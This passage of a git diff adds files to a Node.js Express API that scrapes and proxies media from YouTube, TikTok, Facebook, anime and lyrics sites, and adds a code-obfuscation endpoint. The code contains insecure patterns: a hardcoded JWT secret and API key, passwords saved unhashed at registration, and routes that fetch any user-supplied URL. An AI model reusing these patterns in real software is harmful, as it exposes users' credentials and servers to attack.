img_url: img, anime_id: link.slice(10) }); + }); + + return animeList; +} + +export async function anime(animeName) { + const res = await axios.get(`${baseUrl}/category/${animeName}`); + const $ = cheerio.load(res.data); + + const imgUrl = $("div.anime_info_body_bg img").attr("src"); + const animeNameText = $("div.anime_info_body_bg h1").text(); + const about = $("div.anime_info_body_bg p:nth-child(5)").text(); + + const episodeArray = []; + const episodes = $("#episode_page").children().last().find("a").text().split("-")[1]; + for (let i = 1; i <= episodes; i++) { + episodeArray.push(`${animeName}-episode-${i}`); + } + + return { name: animeNameText, img_url: imgUrl, about, episode_id: episodeArray }; +} + +export async function watchAnime(episodeId) { + const res = await axios.get(`${baseUrl}/${episodeId}`); + const $ = cheerio.load(res.data); + const episodeLink = $("li.dowloads > a").attr("href"); + + const downloadLinks = await getDownloadLink(episodeLink); + return downloadLinks; +} + +async function getDownloadLink(episodeLink) { + const browser = await puppeteer.launch({ headless: true }); + const page = await browser.newPage(); + await page.setUserAgent(new UserAgent().toString()); + await page.goto(episodeLink, { waitUntil: "networkidle0" }); + + const links = await page.evaluate(() => { + const links = []; + document.querySelectorAll(".mirror_link a").forEach((link) => { + const name = link.innerText.split("D ")[1].replace(/[()]/g, ""); + links.push({ name, link: link.href }); + }); + return links; + }); + + await browser.close(); + return links; +} \ No newline at end of file diff --git a/exports/index.js b/exports/index.js new file mode 100644 index 0000000000000000000000000000000000000000..f7f01241aa8fe8d94ebb8e5ab188b02f2b93efb8 --- /dev/null +++ b/exports/index.js @@ -0,0 +1,8 @@ +import { Mp3, Mp4 } from './youtube.js'; +import { chatbot } from './chatbot.js'; +import { tiktokdl } from './tiktok.js'; +import { Lyrics } from './lyrics.js'; +import { ddownr } from './ddownr.js'; // Add this line +import { svweb } from './svweb.js'; // Add this line +import { ytdl } from './ytdl.js'; +export { Mp3, Mp4, tiktokdl, chatbot, Lyrics, ddownr, ytdl, svweb }; // Export Gogoanime alongside others \ No newline at end of file diff --git a/exports/index.js.bak b/exports/index.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..70de070979b3fbd6a74d4906c9ddb6eb299d1a09 --- /dev/null +++ b/exports/index.js.bak @@ -0,0 +1,9 @@ +import { Mp3, Mp4 } from './youtube.js'; +import { chatbot } from './chatbot.js'; +import { tiktokdl } from './tiktok.js'; +import { Lyrics } from './lyrics.js'; +import { ddownr } from './ddownr.js'; // Add this line +import { svweb } from './svweb.js'; // Add this line +import { ytdl } from './ytdl.js'; +import { searchMovies } from './searchMovies.js'; +export { Mp3, Mp4, tiktokdl, chatbot, Lyrics, ddownr, ytdl, searchMovies, svweb }; // Export Gogoanime alongside others \ No newline at end of file diff --git a/exports/lyrics.js b/exports/lyrics.js new file mode 100644 index 0000000000000000000000000000000000000000..5b2aeba238f65372b86088f8276f54e51f241c7f --- /dev/null +++ b/exports/lyrics.js @@ -0,0 +1,83 @@ +import axios from 'axios'; +import cheerio from 'cheerio'; + +async function fetchWithRetry(fn, url, retries = 3, headers = {}) { + let attempts = 0; + let lastError; + while (attempts < retries) { + try { + return await fn(url, headers); + } catch (error) { + lastError = error; + attempts++; + console.error(`Attempt ${attempts} failed. Retrying...`); + await new Promise((resolve) => setTimeout(resolve, 1000)); + } + } + throw new Error(`Failed after ${retries} attempts: ${lastError.message}`); +} + +const Lyrics = { + async search(song) { + try { + const fetchFunction = async (url) => { + const { data } = await axios.get(url); + const $ = cheerio.load(data); + const results = $('.best-matches .bm-case') + .map((i, element) => { + const title = $(element).find('.bm-label a').first().text(); + const artist = $(element).find('.bm-label a').last().text(); + const album = $(element).find('.bm-label') + .eq(1) + .text() + .trim() + .replace(/\s+/g, ' '); + const imageUrl = $(element).find('.album-thumb img').attr('src'); + const link = $(element).find('.bm-label a').first().attr('href'); + + return { + title, + artist, + album, + imageUrl, + link: `https://www.lyrics.com${link}`, + }; + }) + .get(); + + return results; + }; + + return await fetchWithRetry(fetchFunction, `https://www.lyrics.com/lyrics/${song}`); + } catch (error) { + console.error(`Error fetching lyrics search results: ${error.message}`); + throw error; + } + }, + + async getLyrics(url) { + try { + const fetchFunction = async (url) => { + const { data } = await axios.get(url); + const $ = cheerio.load(data); + + const artistImage = $('#featured-artist-avatar img').attr('src'); + const about = $('.artist-meta .bio').text().trim(); + const year = $('.lyric-details dt:contains("Year:") + dd').text().trim(); + const playlists = $('.lyric-details dt:contains("Playlists") + dd a') + .text() + .trim(); + const lyrics = $('#lyric-body-text').text().trim(); + + return { artistImage, about, year, playlists, lyrics }; + }; + + return await fetchWithRetry(fetchFunction, url); + } catch (error) { + console.error(`Error fetching lyrics: ${error.message}`); + throw error; + } + }, +}; + +export { Lyrics }; \ No newline at end of file diff --git a/exports/router.js b/exports/router.js new file mode 100644 index 0000000000000000000000000000000000000000..866dab32101ae073d0d3f63ac6df19c7070da98a --- /dev/null +++ b/exports/router.js @@ -0,0 +1,36 @@ +import express from 'express'; +import User from './User'; +import bcrypt from 'bcrypt'; +import jwt from 'jsonwebtoken'; + +const router = express.Router(); +const SECRET_KEY = "deeceexxx"; + +// Register +router.post('/register', async (req, res) => { + const { username, password } = req.body; + try { + const user = new User({ username, password }); + await user.save(); + res.status(201).send({ message: "User registered successfully" }); + } catch (error) { + res.status(400).send({ error: "Registration failed" }); + } +}); + +// Login +router.post('/login', async (req, res) => { + const { username, password } = req.body; + try { + const user = await User.findOne({ username }); + if (!user || !(await bcrypt.compare(password, user.password))) { + return res.status(400).send({ error: "Invalid credentials" }); + } + const token = jwt.sign({ id: user._id }, SECRET_KEY); + res.send({ token }); + } catch (error) { + res.status(500).send({ error: "Login failed" }); + } +}); + + diff --git a/exports/router.js.bak b/exports/router.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..9138255e2fa1b8354acb538d778eb91ff2244679 --- /dev/null +++ b/exports/router.js.bak @@ -0,0 +1,36 @@ +import express from 'express'; +import User from './User'; +import bcrypt from 'bcrypt'; +import jwt from 'jsonwebtoken'; + +const router = express.Router(); +const SECRET_KEY = "deeceexxx"; + +// Register +router.post('/register', async (req, res) => { + const { username, password } = req.body; + try { + const user = new User({ username, password }); + await user.save(); + res.status(201).send({ message: "User registered successfully" }); + } catch (error) { + res.status(400).send({ error: "Registration failed" }); + } +}); + +// Login +router.post('/login', async (req, res) => { + const { username, password } = req.body; + try { + const user = await User.findOne({ username }); + if (!user || !(await bcrypt.compare(password, user.password))) { + return res.status(400).send({ error: "Invalid credentials" }); + } + const token = jwt.sign({ id: user._id }, SECRET_KEY); + res.send({ token }); + } catch (error) { + res.status(500).send({ error: "Login failed" }); + } +}); + +export { router }; \ No newline at end of file diff --git a/exports/searchMovies.js b/exports/searchMovies.js new file mode 100644 index 0000000000000000000000000000000000000000..5482fde687f08d9b97f65ddf57bd60a7122ecbc2 --- /dev/null +++ b/exports/searchMovies.js @@ -0,0 +1,17 @@ +import sinhalaSub from "mrnima-moviedl"; + +async function searchMovies(query) { + if (!query) { + throw new Error("No query provided."); + } + + try { + const movie = await sinhalaSub(); + const results = await movie.search(query); + return results.result.slice(0, 10); // Limit results to 10 + } catch (error) { + throw new Error("Failed to fetch movie search results."); + } +} + +export { searchMovies }; \ No newline at end of file diff --git a/exports/searchMovies.js.bak b/exports/searchMovies.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..b33a7888aebf91c02c6693a5fe3af6030520158f --- /dev/null +++ b/exports/searchMovies.js.bak @@ -0,0 +1,17 @@ +import sinhalaSub from "mrnima-moviedl"; + +async function searchMovies(query) { + if (!query) { + throw new Error("No query provided."); + } + + try { + const movie = await sinhalaSub(); + const results = await movie.search(query); + return results.result.slice(0, 10); // Limit results to 10 + } catch (error) { + throw new Error("Failed to fetch movie search results."); + } +} + +export = { searchMovies }; \ No newline at end of file diff --git a/exports/svweb.js b/exports/svweb.js new file mode 100644 index 0000000000000000000000000000000000000000..129dce7542ef3a2e8fde3df4fa6315f680191bbc --- /dev/null +++ b/exports/svweb.js @@ -0,0 +1,48 @@ +import axios from 'axios'; +import fs from 'fs/promises'; +import path from 'path'; + +const svweb = { + recording: async (link, responseType = 1, convertOption = '--convert') => { + try { + const { data } = await axios.post( + 'https://tella.mockso-cloud.com/screenshot/video', + { url: link }, + { + headers: { + 'Content-Type': 'application/json', + 'User-Agent': 'Postify/1.0.0' + }, + responseType: 'arraybuffer' + } + ); + + const result = responseType === 1 ? Buffer.from(data) : Buffer.from(data).toString('base64'); + const domainName = new URL(link).hostname.replace('www.', '').split('.')[0]; + + if (result.length < 1024) { + throw new Error('Website tersebut tidak dapat terhubung..'); + } + + if (convertOption === '--convert') { + const fileName = `${domainName}_video.mp4`; + const filePath = path.join(process.cwd(), 'downloads', fileName); + await fs.mkdir(path.dirname(filePath), { recursive: true }); + await fs.writeFile(filePath, result, responseType === 1 ? null : 'base64'); + console.log(`Video telah disimpan ke ${filePath}`); + return { filePath, data: result }; + } + + if (convertOption === '--unconvert') { + return { type: responseType === 1 ? 'buffer' : 'base64', data: result }; + } + + throw new Error('❌ Opsi konversinya kagak valid. pake --convert atau --unconvert yakk...'); + } catch (error) { + console.error(error.message); + throw error; + } + } +}; + +export { svweb }; \ No newline at end of file diff --git a/exports/tiktok.js b/exports/tiktok.js new file mode 100644 index 0000000000000000000000000000000000000000..a2de9f600778e6941d72c37639e89fd905188e31 --- /dev/null +++ b/exports/tiktok.js @@ -0,0 +1,13 @@ +import fetch from 'node-fetch' + +const API_URL = 'https://api.tiklydown.eu.org/api/download/v3?url=' + +export async function tiktokdl(url) { + return fetch(`${API_URL}${encodeURIComponent(url)}`) + .then((response) => response.json()) + .then((data) => data.result) + .catch((error) => { + console.error('Error fetching tiktok data:', error) + return null + }) + } diff --git a/exports/youtube.js b/exports/youtube.js new file mode 100644 index 0000000000000000000000000000000000000000..794f4ea22b5f9af1b87e52e580c0c680dc3e953d --- /dev/null +++ b/exports/youtube.js @@ -0,0 +1,111 @@ +import axios from 'axios'; + +async function fetchWithRetry(fn, url, retries = 100, body = {}, headers = {}) { + let attempts = 0; + let lastError; + while (attempts < retries) { + try { + return await fn(url, body, headers); + } catch (e) { + lastError = e; + attempts++; + console.error(`Attempt ${attempts} failed. Retrying...`); + await new Promise(resolve => setTimeout(resolve, 1000)); + } + } + throw new Error(`Failed after ${retries} attempts: ${lastError.message}`); +} + +const SaveTube = { + qualities: { + audio: { 1: '32', 2: '64', 3: '128', 4: '192' }, + video: { 1: '144', 2: '240', 3: '360', 4: '480', 5: '720', 6: '1080', 7: '1440', 8: '2160' } + }, + + headers: { + 'accept': '*/*', + 'referer': 'https://ytshorts.savetube.me/', + 'origin': 'https://ytshorts.savetube.me/', + 'user-agent': 'Postify/1.0.0', + 'Content-Type': 'application/json' + }, + + cdn() { + return Math.floor(Math.random() * 11) + 51; + }, + + checkQuality(type, qualityIndex) { + if (!(qualityIndex in this.qualities[type])) { + throw new Error(`❌ Invalid ${type} Failed with Status: ${Object.keys(this.qualities[type]).join(', ')}`); + } + }, + + async fetchData(url, cdn, body = {}) { + const headers = { + ...this.headers, + 'authority': `cdn${cdn}.savetube.su` + }; + + const fetchFunction = async (url, body, headers) => { + const response = await axios.post(url, body, { headers }); + return response.data; + }; + + return fetchWithRetry(fetchFunction, url, 100, body, headers); + }, + + dLink(cdnUrl, type, quality, videoKey) { + return `https://${cdnUrl}/download`; + }, + + async dl(link, qualityIndex, typeIndex) { + const type = typeIndex === 1 ? 'audio' : 'video'; + const quality = SaveTube.qualities[type][qualityIndex]; + if (!type) throw new Error('❌ Invalid Media Type'); + SaveTube.checkQuality(type, qualityIndex); + const cdnNumber = SaveTube.cdn(); + const cdnUrl = `cdn${cdnNumber}.savetube.su`; + + const videoInfo = await SaveTube.fetchData(`https://${cdnUrl}/info`, cdnNumber, { url: link }); + const badi = { + downloadType: type, + quality: quality, + key: videoInfo.data.key + }; + + const dlRes = await SaveTube.fetchData(SaveTube.dLink(cdnUrl, type, quality, videoInfo.data.key), cdnNumber, badi); + + return { + link: dlRes.data.downloadUrl, + duration: videoInfo.data.duration, + durationLabel: videoInfo.data.durationLabel, + fromCache: videoInfo.data.fromCache, + id: videoInfo.data.id, + key: videoInfo.data.key, + thumbnail: videoInfo.data.thumbnail, + thumbnail_formats: videoInfo.data.thumbnail_formats, + title: videoInfo.data.title, + titleSlug: videoInfo.data.titleSlug, + videoUrl: videoInfo.data.url, + quality, + type + }; + }, + + async mp3(link) { + return SaveTube.dl(link, 3, 1); // Default to 128 kbps audio + }, + async mp4(link) { + return SaveTube.dl(link, 5, 2); // Default to 720p video + } +}; + +async function Mp3(url) { + return SaveTube.mp3(url); +} + +async function Mp4(url) { + return SaveTube.mp4(url); +} + +export { SaveTube, Mp3, Mp4 }; diff --git a/exports/ytdl.js b/exports/ytdl.js new file mode 100644 index 0000000000000000000000000000000000000000..105b797a6fdd413c23b6f619cf8877bd90b21a56 --- /dev/null +++ b/exports/ytdl.js @@ -0,0 +1,67 @@ +import axios from "axios"; + +const SUPPORTED_VIDEO_QUALITIES = { + low: "360", + medium: "480", + hd: "720", + fullHd: "1080", + hdHigh: "1440", + ultraHd: "4k", +}; + +const ytdl = { + request: async (url, quality) => { + if (!SUPPORTED_VIDEO_QUALITIES[quality]) { + throw new Error( + `Invalid video quality. Supported qualities are: ${Object.keys(SUPPORTED_VIDEO_QUALITIES).join(", ")}` + ); + } + + const config = { + method: "GET", + url: `https://p.oceansaver.in/ajax/download.php?format=${SUPPORTED_VIDEO_QUALITIES[quality]}&url=${encodeURIComponent( + url + )}`, + }; + + try { + const { data } = await axios.request(config); + + if (data.success) { + return { + id: data.id, + title: data.title, + thumbnail: data.info?.image || null, + }; + } else { + throw new Error("Failed to fetch video details."); + } + } catch (error) { + console.error("Error fetching video details:", error.message); + throw error; + } + }, + + progress: async (id) => { + const config = { + method: "GET", + url: `https://p.oceansaver.in/ajax/progress.php?id=${id}`, + }; + + try { + while (true) { + const { data } = await axios.request(config); + + if (data.success && data.progress === 1000) { + return data.download_url; + } + await new Promise((resolve) => setTimeout(resolve, 3000)); // Poll every 3 seconds + } + } catch (error) { + console.error("Error polling progress:", error.message); + throw error; + } + }, +}; + +export { ytdl }; \ No newline at end of file diff --git a/heroku.yml b/heroku.yml new file mode 100644 index 0000000000000000000000000000000000000000..b356fb5b01a393f588ec05aff01b886b4eb34f5c --- /dev/null +++ b/heroku.yml @@ -0,0 +1,8 @@ +build: + docker: + web: ./Dockerfile + config: + # None for now + +run: + web: npm start diff --git a/index.js b/index.js new file mode 100644 index 0000000000000000000000000000000000000000..b2395cde46f710bc278271e2361d515d1994f7e8 --- /dev/null +++ b/index.js @@ -0,0 +1,5835 @@ +import fs from 'fs'; +import os from 'os'; +import qs from 'qs'; +import http from 'http'; +import express from 'express'; +import FormData from "form-data"; +import ytSearch from "yt-search"; +import path from 'path'; + import axios from 'axios'; + + import translate from "@vitalets/google-translate-api"; +import crypto from 'crypto'; +import { v4 as uuidv4 } from "uuid"; + +import QRCode from "qrcode"; + +import { fileURLToPath } from 'url'; +import dotenv from 'dotenv'; +import { Mp3, + Mp4, + tiktokdl, + Lyrics, + ddownr, + svweb, + chatbot } from './exports/index.js'; + +const __filename = fileURLToPath(import.meta.url), + __dirname = path.dirname(__filename); +dotenv.config({ path: path.join(__dirname, '.env') }); + +const app = express(); +app.use(express.json()); +const serverStartTime = Date.now(); + +const port = process.env.PORT || 3000; +app.enable('trust proxy'); +app.set('json spaces', 2); +app.use(express.static(path.join(__dirname, 'public'))); +import cors from 'cors'; +app.use(cors()); + +import mongoose from 'mongoose'; + +import cheerio from 'cheerio' + +import bcrypt from 'bcrypt'; + +import bodyParser from 'body-parser'; + + + +// Middleware +app.use(bodyParser.urlencoded({ extended: true })); +app.use(express.static("public")); + + +import session from 'express-session'; + + + + + + + +import flash from 'express-flash' ; + + + + + + + + + + + + + + +// Middleware to parse JSON and form data + + + + + + + + +const byteToKB = 1 / 1024, + byteToMB = 1 / Math.pow(1024, 2), + byteToGB = 1 / Math.pow(1024, 3); + +// Utility Functions +function formatBytes(bytes) { + if (bytes >= Math.pow(1024, 3)) { + return (bytes * byteToGB).toFixed(2) + ' GB'; + } else if (bytes >= Math.pow(1024, 2)) { + return (bytes * byteToMB).toFixed(2) + ' MB'; + } else if (bytes >= 1024) { + return (bytes * byteToKB).toFixed(2) + ' KB'; + } else { + return bytes.toFixed(2) + ' bytes'; + } +} + +function runtime(seconds) { + seconds = Number(seconds); + const d = Math.floor(seconds / (3600 * 24)), + h = Math.floor((seconds % (3600 * 24)) / 3600), + m = Math.floor((seconds % 3600) / 60), + s = Math.floor(seconds % 60), + dDisplay = d > 0 ? d + (d === 1 ? ' day, ' : ' days, ') : '', + hDisplay = h > 0 ? h + (h === 1 ? ' hour, ' : ' hours, ') : '', + mDisplay = m > 0 ? m + (m === 1 ? ' minute, ' : ' minutes, ') : '', + sDisplay = s > 0 ? s + (s === 1 ? ' second' : ' seconds') : ''; + return dDisplay + hDisplay + mDisplay + sDisplay; +} + + + + + + + + + + + + + +app.use(express.json()); + + + + + + + + +import getLyrics from "@faouzkk/lyrics-finder"; + +// 📌 Route to Fetch Lyrics +app.get("/lyrics3", async (req, res) => { + const { song, artist } = req.query; + + if (!song) { + return res.status(400).json({ + creator: "David Cyril", + status: 400, + success: false, + message: "Please provide a song name using the `song` query parameter.", + }); + } + + try { + const lyrics = await getLyrics(song, artist); + + if (!lyrics) { + return res.status(404).json({ + creator: "David Cyril", + status: 404, + success: false, + message: "Lyrics not found for the requested song.", + }); + } + + res.json({ + creator: "David Cyril", + status: 200, + success: true, + result: { + song: song, + artist: artist || "Unknown", + lyrics: lyrics, + }, + }); + } catch (error) { + console.error("Error fetching lyrics:", error.message); + + res.status(500).json({ + creator: "David Cyril", + status: 500, + success: false, + message: "An error occurred while fetching lyrics.", + }); + } +}); + + + + + + +import jsconfuser from "js-confuser"; + + + + + +// 📌 Route to Obfuscate JavaScript Code +app.get("/obfuscate", async (req, res) => { + const { code, level } = req.query; + + if (!code) { + return res.status(400).json({ + creator: "David Cyril", + status: 400, + success: false, + message: "Please provide JavaScript code using the `code` query parameter.", + }); + } + + // Define obfuscation levels with valid settings + const levels = { + low: { target: "node", preset: "low" }, + medium: { target: "node", preset: "medium" }, + high: { target: "node", preset: "high" }, + extreme: { + target: "node", + preset: "high", + stringCompression: true, + shuffle: true, + globalVariables: true, + }, + }; + + // Select obfuscation level (default: medium) + const options = levels[level] || levels.medium; + + try { + const obfuscatedCode = await jsconfuser.obfuscate(code, options); + + res.json({ + creator: "David Cyril", + status: 200, + success: true, + result: { + original_code: code, + obfuscated_code: obfuscatedCode, + }, + }); + } catch (error) { + console.error("Error obfuscating code:", error.message); + + res.status(500).json({ + creator: "David Cyril", + status: 500, + success: false, + message: "An error occurred while obfuscating the code.", + }); + } +}); + + + + + + + + + + + + + + + + + + + +const formatAudio = ["mp3", "m4a", "webm", "aac", "flac", "opus", "ogg", "wav"]; + +// YouTube MP3 Download Endpoint +app.get("/download/ytmp3", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: CREATOR, + status: 400, + success: false, + message: "Please provide a valid YouTube URL", + }); + } + + try { + // Get download info using ytdlocean + const result = await ytdlocean(url, "mp3"); + const videoId = extractYouTubeID(url); + + // Return the EXACT old response structure + res.json({ + creator: CREATOR, + status: 200, + success: true, + result: { + type: "audio", + quality: "128kbps", + title: result.title || "YouTube Audio", + thumbnail: result.image || `https://img.youtube.com/vi/${videoId}/maxresdefault.jpg`, + download_url: result.downloadUrl + } + }); + + } catch (error) { + console.error('Download error:', error.message); + return res.status(500).json({ + creator: CREATOR, + status: 500, + success: false, + message: error.message || "Failed to process request" + }); + } +}); + +// Your existing functions +async function cekProgress(id) { + const config = { + method: "GET", + url: `https://p.oceansaver.in/ajax/progress.php?id=${id}`, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" + } + }; + + while (true) { + const response = await axios.request(config); + if (response.data?.success && response.data.progress === 1000) { + return response.data.download_url; + } + await new Promise(resolve => setTimeout(resolve, 5000)); + } +} + +async function ytdlocean(url, format = "mp3") { + if (!formatAudio.includes(format)) { + throw new Error("Invalid format. Use a valid audio format."); + } + + const config = { + method: "GET", + url: `https://p.oceansaver.in/ajax/download.php?format=${format}&url=${encodeURIComponent(url)}&api=dfcb6d76f2f6a9894gjkege8a4ab232222`, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" + } + }; + + const response = await axios.request(config); + if (response.data?.success) { + const { id, title, info: { image } } = response.data; + const downloadUrl = await cekProgress(id); + return { id, title, image, downloadUrl }; + } else { + throw new Error("Failed to fetch video details."); + } +} + +function extractYouTubeID(url) { + const match = url.match(/(?:https?:\/\/)?(?:www\.)?(?:youtube\.com\/(?:[^/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\/)([^"&?/\s]{11})/); + return match ? match[1] : null; +} + + + + + + + + +app.get("/download/ytmp333", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril Tech", + status: 400, + success: false, + message: "Please provide a valid YouTube video URL using the `url` query parameter.", + }); + } + + try { + // Fetch from the new downloader API + const response = await axios.get(`https://dl55.yt-dl.click/api/download?url=${encodeURIComponent(url)}&format=mp3`); + + if (!response.data || !response.data.result || !response.data.result.download) { + throw new Error("Invalid response from downloader API."); + } + + const result = response.data.result; + + // Send the JSON response in the required format + res.json({ + status: true, + result: { + title: result.title || "YouTube MP3", + type: "audio", + format: "mp3", + quality: "128", + duration: result.duration || "Unknown", + thumbnail: result.thumbnail || `https://img.youtube.com/vi/${extractYouTubeID(url)}/hqdefault.jpg`, + download: result.download, // Direct download link + }, + }); + + } catch (error) { + console.error("Error processing YouTube MP3 request:", error.message); + res.status(500).json({ + creator: "David Cyril Tech", + status: 500, + success: false, + message: "Failed to download MP3. Please try again.", + }); + } +}); + + + + + +// Direct Download Proxy +app.get("/download/proxy", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril Tech", + status: 400, + success: false, + message: "Please provide a valid file URL using `url` parameter.", + }); + } + + try { + // Fetch the MP3 file from CDN + const response = await axios({ + method: "GET", + url: url, + responseType: "stream", + }); + + // Set headers to force download + res.setHeader("Content-Disposition", `attachment; filename="audio.mp3"`); + res.setHeader("Content-Type", "audio/mpeg"); + + // Pipe the file to the response + response.data.pipe(res); + } catch (error) { + console.error("Download Proxy Error:", error.message); + res.status(500).json({ + creator: "David Cyril Tech", + status: 500, + success: false, + message: "Failed to fetch the file. Please try again.", + }); + } +}); + + + + + + + +// Facebook Download Endpoint +app.get("/facebook", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: "URL parameter is required" }); + } + + try { + // Use the fbdown function to fetch video details + const result = await fbdown(url); + + // Restructure the response to match your desired format + const response = { + creator: "David Cyril", + status: 200, + success: true, + video: { + thumbnail: result.thumb, + downloads: [ + { + quality: "SD", + downloadUrl: result.sd, + }, + ...(result.hd + ? [ + { + quality: "HD", + downloadUrl: result.hd, + }, + ] + : []), + ], + }, + }; + + return res.json(response); + } catch (error) { + console.error("Error fetching data:", error.message); + return res.status(500).json({ error: "An error occurred while processing the request" }); + } +}); + +// Function to download Facebook video using cheerio +async function fbdown(url) { + return new Promise(async (resolve, reject) => { + try { + let params = new URLSearchParams(); + params.append("URLz", url); + + let res = await axios.post("https://fdown.net/download.php", params, { + headers: { + Origin: "https://fdown.net", + Referer: "https://fdown.net/", + }, + }); + + let html = res.data; + let $ = cheerio.load(html); + + const thumb = $("#result > div.col-xs-6.col-xs-offset-3.no-padding.lib-item > div > div > div:nth-child(1) > img").attr("src"); + const title = $("#result > div.col-xs-6.col-xs-offset-3.no-padding.lib-item > div > div > div:nth-child(2) > div.lib-row.lib-header").text().trim(); + const desc = $("#result > div.col-xs-6.col-xs-offset-3.no-padding.lib-item > div > div > div:nth-child(2) > div:nth-child(2)").text().trim().split(":")[1]; + const sd = $("#sdlink").attr("href"); + const hd = $("#hdlink").attr("href"); + + if (!sd) { + reject(new Error("Failed to fetch video details")); + } else { + resolve({ thumb, title, desc, sd, hd }); + } + } catch (error) { + reject(error); + } + }); +} + + + + +app.get("/download/ytmp4", async (req, res) => { + const { url, format = "720" } = req.query; // Default to 720p if format isn't provided + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: 400, + success: false, + message: "Please provide a valid YouTube video URL using the `url` query parameter.", + }); + } + + try { + // Call the new API + const response = await axios.get(`https://ytdl.siputzx.my.id/api/convert?url=${encodeURIComponent(url)}&type=mp4`); + + if (!response.data || !response.data.dl) { + return res.status(500).json({ + creator: "David Cyril", + status: 500, + success: false, + message: "Failed to fetch download link. Please try again later.", + }); + } + + // Return response in the old format + res.json({ + creator: "David Cyril", + status: 200, + success: true, + result: { + type: "video", + quality: `${format}p`, + title: response.data.title, + thumbnail: `https://img.youtube.com/vi/${url.split("v=")[1]}/hqdefault.jpg`, + download_url: response.data.dl, + }, + }); + } catch (error) { + console.error("Error processing YouTube MP4 request:", error.message); + + res.status(500).json({ + creator: "David Cyril", + status: 500, + success: false, + message: "An unexpected error occurred while processing the request. Please try again later.", + }); + } +}); + + + + + +// Function to check download progress for MP3 +async function checkAudioProgress(audioId) { + const config = { + method: "GET", + url: `https://p.oceansaver.in/ajax/progress.php?id=${audioId}`, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", + }, + }; + + while (true) { + const response = await axios.request(config); + if (response.data?.success && response.data.progress === 1000) { + return response.data.download_url; + } + await new Promise((resolve) => setTimeout(resolve, 5000)); // Retry every 5 seconds + } +} + +// Function to fetch YouTube MP3 Download Link +async function fetchAudioDownload(audioUrl) { + const config = { + method: "GET", + url: `https://p.oceansaver.in/ajax/download.php?format=mp3&url=${encodeURIComponent(audioUrl)}&api=dfcb6d76f2f6a9894gjkege8a4ab232222`, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", + }, + }; + + const response = await axios.request(config); + if (response.data?.success) { + const { id, title, info } = response.data; + const mp3DownloadUrl = await checkAudioProgress(id); + return { title, thumbnail: info.image, mp3DownloadUrl }; + } else { + throw new Error("Failed to fetch MP3 download link."); + } +} + +// Function to fetch YouTube MP4 Download Link +async function fetchVideoDownload(videoUrl) { + const response = await axios.get(`https://ytdl.siputzx.my.id/api/convert?url=${encodeURIComponent(videoUrl)}&type=mp4`); + + if (!response.data || !response.data.dl) { + throw new Error("Failed to fetch MP4 download link."); + } + + return response.data.dl; // Return the direct video link +} + + + + + +import { spawn } from "child_process"; + + + +// Function to upload directly to Catbox +async function uploadToCatbox(stream, filename) { + try { + const form = new FormData(); + form.append("reqtype", "fileupload"); + form.append("fileToUpload", stream, { filename }); + + const response = await axios.post("https://catbox.moe/user/api.php", form, { + headers: form.getHeaders(), + }); + + return response.data.trim(); // Returns direct URL + } catch (error) { + console.error("Catbox Upload Error:", error.message); + return null; + } +} + +// Function to process media using FFmpeg (No File Storage) +function processMedia(inputUrl, ffmpegArgs, filename) { + return new Promise((resolve, reject) => { + const ffmpeg = spawn("ffmpeg", ["-i", inputUrl, ...ffmpegArgs, "-f", "mp4", "pipe:1"]); + + resolve(uploadToCatbox(ffmpeg.stdout, filename)); + }); +} + +// API: Convert Video to MP3 (No Local Storage) +app.get("/convert/mp3", async (req, res) => { + const { url } = req.query; + if (!url) return res.status(400).json({ error: "Provide a video URL." }); + + try { + const fileUrl = await processMedia(url, ["-q:a", "0", "-map", "a"], "output.mp3"); + if (!fileUrl) throw new Error("Failed to upload to Catbox."); + + res.json({ success: true, url: fileUrl }); + } catch (error) { + res.status(500).json({ error: error.message }); + } +}); + +// API: Reverse Video +app.get("/convert/reverse", async (req, res) => { + const { url } = req.query; + if (!url) return res.status(400).json({ error: "Provide a video URL." }); + + try { + const fileUrl = await processMedia(url, ["-vf", "reverse", "-af", "areverse"], "reversed.mp4"); + if (!fileUrl) throw new Error("Failed to upload to Catbox."); + + res.json({ success: true, url: fileUrl }); + } catch (error) { + res.status(500).json({ error: error.message }); + } +}); + + + + + + +// YouTube Song Command API +app.get("/song", async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: CREATOR, + status: false, + message: "Please provide a search query.", + }); + } + + try { + // Search YouTube for the song + const searchResults = await ytSearch(query); + + if (!searchResults.videos.length) { + return res.json({ + creator: CREATOR, + status: false, + message: "No results found.", + }); + } + + // Get first video result + const songResult = searchResults.videos[0]; + const videoId = extractYouTubeID(songResult.url); + + // Fetch MP3 and MP4 download links simultaneously + const [mp3Data, mp4Url] = await Promise.all([ + fetchAudioDownload(songResult.url), + fetchVideoDownload(songResult.url), + ]); + + // Response JSON + res.json({ + creator: CREATOR, + status: true, + result: { + title: songResult.title, + video_url: songResult.url, + thumbnail: songResult.thumbnail || `https://img.youtube.com/vi/${videoId}/hqdefault.jpg`, + duration: songResult.duration.timestamp, + views: songResult.views, + published: songResult.ago, + audio: { + format: "MP3", + quality: "128kbps", + download_url: mp3Data.mp3DownloadUrl, + }, + video: { + format: "MP4", + quality: "720p", + download_url: mp4Url, + }, + }, + }); + } catch (error) { + console.error("Error processing YouTube song request:", error.message); + res.status(500).json({ + creator: CREATOR, + status: false, + message: "Failed to process request. Please try again.", + }); + } +}); + + + + + + +const fdown = { + getToken: async () => { + try { + const response = await 